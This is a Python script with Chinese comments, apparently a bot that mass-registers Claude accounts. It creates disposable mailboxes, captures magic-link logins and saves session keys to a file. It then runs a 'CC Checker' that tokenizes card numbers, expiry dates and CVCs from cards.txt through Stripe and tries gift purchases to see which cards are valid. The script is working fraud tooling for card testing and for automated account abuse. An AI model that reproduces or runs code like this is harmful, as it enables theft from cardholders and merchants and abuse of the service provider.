import time import random import string from config import MAIL_SYSTEMS from mail_service import MailPool, extract_magic_link from stripe_token import StripeTokenizer from gift_checker import GiftChecker from claude_auth import attack_claude, finalize_login # --- 主流程 (The Ritual) --- if __name__ == "__main__": # 1. 初始化邮箱系统池 mail_pool = MailPool(MAIL_SYSTEMS) if mail_pool.count == 0: print("[-] 没有可用的邮箱系统,退出。") exit(1) print(mail_pool.info()) # 2. 生成随机邮箱并注册 random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)) target_email, mail_sys = mail_pool.create_user(random_prefix) if target_email and mail_sys: # 3. 发送 Magic Link if attack_claude(target_email): # 4. 等待并提取链接(使用创建邮箱时对应的系统) email_content = mail_sys.wait_for_email(target_email) if email_content: magic_link = extract_magic_link(email_content) if magic_link: print(f"[+] 捕获 Magic Link: {magic_link}") # --- 终极步骤:登录获取 Account --- account = finalize_login(magic_link) if account: print("\n" + "="*50) print(f"[+] REGISTERED SUCCESSFUL") print(f"Email: {account.email}") print(f"SessionKey: {account.session_key}") print(f"OrgUUID: {account.org_uuid}") with open("accounts.txt", "a") as f: f.write(f"{account.email}|{account.session_key}|{account.org_uuid}\n") print("="*50 + "\n") # --- CC Checker 流程 --- cards = [] try: with open("cards.txt", "r") as f: for line in f: line = line.strip() if line and not line.startswith("#"): cards.append(line) print(f"[*] 从 cards.txt 读取到 {len(cards)} 张卡片") except FileNotFoundError: print("[*] 未找到 cards.txt,跳过 CC Checker") if cards: tokenizer = StripeTokenizer(account.user_agent) checker = GiftChecker(account) for card_line in cards: cc, mm, yy, cvc = card_line.split("|") pm_id = tokenizer.get_token(cc, mm, yy, cvc) if pm_id: result = checker.purchase(pm_id) print(f"Card: {cc[:4]}... -> {result}") time.sleep(2) else: print("[-] 获取 Account 失败。") else: print("[-] 邮件内容中未找到链接,可能格式变了?") else: print("[-] 任务失败:未收到邮件。")